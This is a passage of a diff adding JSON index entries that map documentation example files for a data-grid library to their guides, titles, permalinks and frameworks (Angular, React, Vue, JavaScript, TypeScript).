"guides/getting-started/custom-id-class-style/custom-id-class-style.md", + "guideTitle": "Custom ID, class, and style", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-id-class-style", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/demo/angular/example1.ts", + "file": "guides__getting-started__demo__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Demo" + ], + "guide": "guides/getting-started/demo/demo.md", + "guideTitle": "Demo", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/demo", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/demo/react/example2.jsx", + "file": "guides__getting-started__demo__react__example2.jsx.json", + "breadcrumb": [ + "Getting Started", + "Demo" + ], + "guide": "guides/getting-started/demo/demo.md", + "guideTitle": "Demo", + "exampleId": "example2", + "exampleTitle": "Example 2", + "docPermalink": "/demo", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/demo/vue/example3.vue", + "file": "guides__getting-started__demo__vue__example3.vue.json", + "breadcrumb": [ + "Getting Started", + "Demo" + ], + "guide": "guides/getting-started/demo/demo.md", + "guideTitle": "Demo", + "exampleId": "example3", + "exampleTitle": "Example 3", + "docPermalink": "/demo", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/demo/javascript/example.js", + "file": "guides__getting-started__demo__javascript__example.js.json", + "breadcrumb": [ + "Getting Started", + "Demo" + ], + "guide": "guides/getting-started/demo/demo.md", + "guideTitle": "Demo", + "exampleId": "example", + "exampleTitle": "example", + "docPermalink": "/demo", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/javascript/example1.js", + "file": "guides__getting-started__events-and-hooks__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/events-and-hooks", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/angular/example2.ts", + "file": "guides__getting-started__events-and-hooks__angular__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example2", + "exampleTitle": "The beforeKeyDown callback", + "docPermalink": "/events-and-hooks", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/javascript/example2.js", + "file": "guides__getting-started__events-and-hooks__javascript__example2.js.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example2", + "exampleTitle": "The beforeKeyDown callback", + "docPermalink": "/events-and-hooks", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/react/example2.tsx", + "file": "guides__getting-started__events-and-hooks__react__example2.tsx.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example2", + "exampleTitle": "The beforeKeyDown callback", + "docPermalink": "/events-and-hooks", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/javascript/example2.ts", + "file": "guides__getting-started__events-and-hooks__javascript__example2.ts.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example2", + "exampleTitle": "The beforeKeyDown callback", + "docPermalink": "/events-and-hooks", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/vue/example2.vue", + "file": "guides__getting-started__events-and-hooks__vue__example2.vue.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example2", + "exampleTitle": "The beforeKeyDown callback", + "docPermalink": "/events-and-hooks", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/angular/example3.ts", + "file": "guides__getting-started__events-and-hooks__angular__example3.ts.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example3", + "exampleTitle": "External control", + "docPermalink": "/events-and-hooks", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/react/example3.tsx", + "file": "guides__getting-started__events-and-hooks__react__example3.tsx.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example3", + "exampleTitle": "External control", + "docPermalink": "/events-and-hooks", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/events-and-hooks/vue/example3.vue", + "file": "guides__getting-started__events-and-hooks__vue__example3.vue.json", + "breadcrumb": [ + "Getting Started", + "Events and hooks" + ], + "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", + "guideTitle": "Events and hooks", + "exampleId": "example3", + "exampleTitle": "External control", + "docPermalink": "/events-and-hooks", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/grid-size/angular/example.ts", + "file": "guides__getting-started__grid-size__angular__example.ts.json", + "breadcrumb": [ + "Getting Started", + "Grid size" + ], + "guide": "guides/getting-started/grid-size/grid-size.md", + "guideTitle": "Grid size", + "exampleId": "example", + "exampleTitle": "Manual resizing", + "docPermalink": "/grid-size", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/grid-size/javascript/example.js", + "file": "guides__getting-started__grid-size__javascript__example.js.json", + "breadcrumb": [ + "Getting Started", + "Grid size" + ], + "guide": "guides/getting-started/grid-size/grid-size.md", + "guideTitle": "Grid size", + "exampleId": "example", + "exampleTitle": "Manual resizing", + "docPermalink": "/grid-size", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/grid-size/react/example.tsx", + "file": "guides__getting-started__grid-size__react__example.tsx.json", + "breadcrumb": [ + "Getting Started", + "Grid size" + ], + "guide": "guides/getting-started/grid-size/grid-size.md", + "guideTitle": "Grid size", + "exampleId": "example", + "exampleTitle": "Manual resizing", + "docPermalink": "/grid-size", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/grid-size/javascript/example.ts", + "file": "guides__getting-started__grid-size__javascript__example.ts.json", + "breadcrumb": [ + "Getting Started", + "Grid size" + ], + "guide": "guides/getting-started/grid-size/grid-size.md", + "guideTitle": "Grid size", + "exampleId": "example", + "exampleTitle": "Manual resizing", + "docPermalink": "/grid-size", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/grid-size/vue/example.vue", + "file": "guides__getting-started__grid-size__vue__example.vue.json", + "breadcrumb": [ + "Getting Started", + "Grid size" + ], + "guide": "guides/getting-started/grid-size/grid-size.md", + "guideTitle": "Grid size", + "exampleId": "example", + "exampleTitle": "Manual resizing", + "docPermalink": "/grid-size", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-hot-column/vue/example1.vue", + "file": "guides__getting-started__vue3-hot-column__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "HotColumn component" + ], + "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", + "guideTitle": "HotColumn component", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/vue-hot-column", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-hot-column/vue/example2.vue", + "file": "guides__getting-started__vue3-hot-column__vue__example2.vue.json", + "breadcrumb": [ + "Getting Started", + "HotColumn component" + ], + "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", + "guideTitle": "HotColumn component", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/vue-hot-column", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-hot-column/vue/example3.vue", + "file": "guides__getting-started__vue3-hot-column__vue__example3.vue.json", + "breadcrumb": [ + "Getting Started", + "HotColumn component" + ], + "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", + "guideTitle": "HotColumn component", + "exampleId": "example3", + "exampleTitle": "Declare a custom editor as a component", + "docPermalink": "/vue-hot-column", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-hot-column/vue/example4.vue", + "file": "guides__getting-started__vue3-hot-column__vue__example4.vue.json", + "breadcrumb": [ + "Getting Started", + "HotColumn component" + ], + "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", + "guideTitle": "HotColumn component", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer", + "docPermalink": "/vue-hot-column", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/installation/vue/example1.vue", + "file": "guides__getting-started__installation__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Installation" + ], + "guide": "guides/getting-started/installation/installation.md", + "guideTitle": "Installation", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/installation", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/installation/javascript/example.js", + "file": "guides__getting-started__installation__javascript__example.js.json", + "breadcrumb": [ + "Getting Started", + "Installation" + ], + "guide": "guides/getting-started/installation/installation.md", + "guideTitle": "Installation", + "exampleId": "example", + "exampleTitle": "Preview the result", + "docPermalink": "/installation", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/installation/react/example.tsx", + "file": "guides__getting-started__installation__react__example.tsx.json", + "breadcrumb": [ + "Getting Started", + "Installation" + ], + "guide": "guides/getting-started/installation/installation.md", + "guideTitle": "Installation", + "exampleId": "example", + "exampleTitle": "Preview the result", + "docPermalink": "/installation", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/installation/javascript/example.ts", + "file": "guides__getting-started__installation__javascript__example.ts.json", + "breadcrumb": [ + "Getting Started", + "Installation" + ], + "guide": "guides/getting-started/installation/installation.md", + "guideTitle": "Installation", + "exampleId": "example", + "exampleTitle": "Preview the result", + "docPermalink": "/installation", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/angular-hot-instance/angular/example1.ts", + "file": "guides__getting-started__angular-hot-instance__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Instance access" + ], + "guide": "guides/getting-started/angular-hot-instance/angular-hot-instance.md", + "guideTitle": "Instance access", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/instance-access", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/react-methods/react/example1.tsx", + "file": "guides__getting-started__react-methods__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Instance methods" + ], + "guide": "guides/getting-started/react-methods/react-methods.md", + "guideTitle": "Instance methods", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/instance-methods", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-hot-reference/vue/example1.vue", + "file": "guides__getting-started__vue3-hot-reference__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Instance reference" + ], + "guide": "guides/getting-started/vue3-hot-reference/vue3-hot-reference.md", + "guideTitle": "Instance reference", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/vue-instance-reference", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/react-redux/react/example1.tsx", + "file": "guides__getting-started__react-redux__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Integration with Redux" + ], + "guide": "guides/getting-started/react-redux/react-redux.md", + "guideTitle": "Integration with Redux", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/redux", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/react-redux/react/example6.tsx", + "file": "guides__getting-started__react-redux__react__example6.tsx.json", + "breadcrumb": [ + "Getting Started", + "Integration with Redux" + ], + "guide": "guides/getting-started/react-redux/react-redux.md", + "guideTitle": "Integration with Redux", + "exampleId": "example6", + "exampleTitle": "Advanced example", + "docPermalink": "/redux", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-pinia/vue/example1.vue", + "file": "guides__getting-started__vue3-pinia__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Pinia state management" + ], + "guide": "guides/getting-started/vue3-pinia/vue3-pinia.md", + "guideTitle": "Pinia state management", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/vue-pinia", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/saving-data/angular/example1.ts", + "file": "guides__getting-started__saving-data__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Saving data" + ], + "guide": "guides/getting-started/saving-data/saving-data.md", + "guideTitle": "Saving data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/saving-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/saving-data/javascript/example1.js", + "file": "guides__getting-started__saving-data__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Saving data" + ], + "guide": "guides/getting-started/saving-data/saving-data.md", + "guideTitle": "Saving data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/saving-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/saving-data/react/example1.tsx", + "file": "guides__getting-started__saving-data__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Saving data" + ], + "guide": "guides/getting-started/saving-data/saving-data.md", + "guideTitle": "Saving data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/saving-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/saving-data/javascript/example1.ts", + "file": "guides__getting-started__saving-data__javascript__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Saving data" + ], + "guide": "guides/getting-started/saving-data/saving-data.md", + "guideTitle": "Saving data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/saving-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/saving-data/vue/example1.vue", + "file": "guides__getting-started__saving-data__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Saving data" + ], + "guide": "guides/getting-started/saving-data/saving-data.md", + "guideTitle": "Saving data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/saving-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/server-side-data/angular/example1.ts", + "file": "guides__getting-started__server-side-data__angular__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Server-side data" + ], + "guide": "guides/getting-started/server-side-data/server-side-data.md", + "guideTitle": "Server-side data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/server-side-data", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/server-side-data/javascript/example1.js", + "file": "guides__getting-started__server-side-data__javascript__example1.js.json", + "breadcrumb": [ + "Getting Started", + "Server-side data" + ], + "guide": "guides/getting-started/server-side-data/server-side-data.md", + "guideTitle": "Server-side data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/server-side-data", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/server-side-data/react/example1.tsx", + "file": "guides__getting-started__server-side-data__react__example1.tsx.json", + "breadcrumb": [ + "Getting Started", + "Server-side data" + ], + "guide": "guides/getting-started/server-side-data/server-side-data.md", + "guideTitle": "Server-side data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/server-side-data", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/server-side-data/javascript/example1.ts", + "file": "guides__getting-started__server-side-data__javascript__example1.ts.json", + "breadcrumb": [ + "Getting Started", + "Server-side data" + ], + "guide": "guides/getting-started/server-side-data/server-side-data.md", + "guideTitle": "Server-side data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/server-side-data", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/server-side-data/vue/example1.vue", + "file": "guides__getting-started__server-side-data__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Server-side data" + ], + "guide": "guides/getting-started/server-side-data/server-side-data.md", + "guideTitle": "Server-side data", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/server-side-data", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/getting-started/vue3-vuex/vue/example1.vue", + "file": "guides__getting-started__vue3-vuex__vue__example1.vue.json", + "breadcrumb": [ + "Getting Started", + "Vuex state management" + ], + "guide": "guides/getting-started/vue3-vuex/vue3-vuex.md", + "guideTitle": "Vuex state management", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/vue-vuex", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/language/angular/example1.ts", + "file": "guides__internationalization__language__angular__example1.ts.json", + "breadcrumb": [ + "Internationalization", + "Language" + ], + "guide": "guides/internationalization/language/language.md", + "guideTitle": "Language", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/language", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/language/javascript/example1.js", + "file": "guides__internationalization__language__javascript__example1.js.json", + "breadcrumb": [ + "Internationalization", + "Language" + ], + "guide": "guides/internationalization/language/language.md", + "guideTitle": "Language", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/language", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/language/react/example1.tsx", + "file": "guides__internationalization__language__react__example1.tsx.json", + "breadcrumb": [ + "Internationalization", + "Language" + ], + "guide": "guides/internationalization/language/language.md", + "guideTitle": "Language", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/language", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/language/javascript/example1.ts", + "file": "guides__internationalization__language__javascript__example1.ts.json", + "breadcrumb": [ + "Internationalization", + "Language" + ], + "guide": "guides/internationalization/language/language.md", + "guideTitle": "Language", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/language", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/language/vue/example1.vue", + "file": "guides__internationalization__language__vue__example1.vue.json", + "breadcrumb": [ + "Internationalization", + "Language" + ], + "guide": "guides/internationalization/language/language.md", + "guideTitle": "Language", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/language", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/angular/example1.ts", + "file": "guides__internationalization__layout-direction__angular__example1.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/layout-direction", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example1.js", + "file": "guides__internationalization__layout-direction__javascript__example1.js.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/layout-direction", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/react/example1.tsx", + "file": "guides__internationalization__layout-direction__react__example1.tsx.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/layout-direction", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example1.ts", + "file": "guides__internationalization__layout-direction__javascript__example1.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/layout-direction", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/vue/example1.vue", + "file": "guides__internationalization__layout-direction__vue__example1.vue.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/layout-direction", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/angular/example2.ts", + "file": "guides__internationalization__layout-direction__angular__example2.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example2", + "exampleTitle": "Set the layout direction automatically", + "docPermalink": "/layout-direction", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example2.js", + "file": "guides__internationalization__layout-direction__javascript__example2.js.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example2", + "exampleTitle": "Set the layout direction automatically", + "docPermalink": "/layout-direction", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/react/example2.tsx", + "file": "guides__internationalization__layout-direction__react__example2.tsx.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example2", + "exampleTitle": "Set the layout direction automatically", + "docPermalink": "/layout-direction", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example2.ts", + "file": "guides__internationalization__layout-direction__javascript__example2.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example2", + "exampleTitle": "Set the layout direction automatically", + "docPermalink": "/layout-direction", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/vue/example2.vue", + "file": "guides__internationalization__layout-direction__vue__example2.vue.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example2", + "exampleTitle": "Set the layout direction automatically", + "docPermalink": "/layout-direction", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/angular/example3.ts", + "file": "guides__internationalization__layout-direction__angular__example3.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example3", + "exampleTitle": "Set the layout direction to RTL", + "docPermalink": "/layout-direction", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example3.js", + "file": "guides__internationalization__layout-direction__javascript__example3.js.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example3", + "exampleTitle": "Set the layout direction to RTL", + "docPermalink": "/layout-direction", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/react/example3.tsx", + "file": "guides__internationalization__layout-direction__react__example3.tsx.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example3", + "exampleTitle": "Set the layout direction to RTL", + "docPermalink": "/layout-direction", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example3.ts", + "file": "guides__internationalization__layout-direction__javascript__example3.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example3", + "exampleTitle": "Set the layout direction to RTL", + "docPermalink": "/layout-direction", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/vue/example3.vue", + "file": "guides__internationalization__layout-direction__vue__example3.vue.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example3", + "exampleTitle": "Set the layout direction to RTL", + "docPermalink": "/layout-direction", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/angular/example4.ts", + "file": "guides__internationalization__layout-direction__angular__example4.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example4", + "exampleTitle": "Set the layout direction to LTR", + "docPermalink": "/layout-direction", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example4.js", + "file": "guides__internationalization__layout-direction__javascript__example4.js.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example4", + "exampleTitle": "Set the layout direction to LTR", + "docPermalink": "/layout-direction", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/react/example4.tsx", + "file": "guides__internationalization__layout-direction__react__example4.tsx.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example4", + "exampleTitle": "Set the layout direction to LTR", + "docPermalink": "/layout-direction", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example4.ts", + "file": "guides__internationalization__layout-direction__javascript__example4.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example4", + "exampleTitle": "Set the layout direction to LTR", + "docPermalink": "/layout-direction", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/vue/example4.vue", + "file": "guides__internationalization__layout-direction__vue__example4.vue.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example4", + "exampleTitle": "Set the layout direction to LTR", + "docPermalink": "/layout-direction", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/angular/example5.ts", + "file": "guides__internationalization__layout-direction__angular__example5.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example5", + "exampleTitle": "Set the horizontal text alignment", + "docPermalink": "/layout-direction", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example5.js", + "file": "guides__internationalization__layout-direction__javascript__example5.js.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": 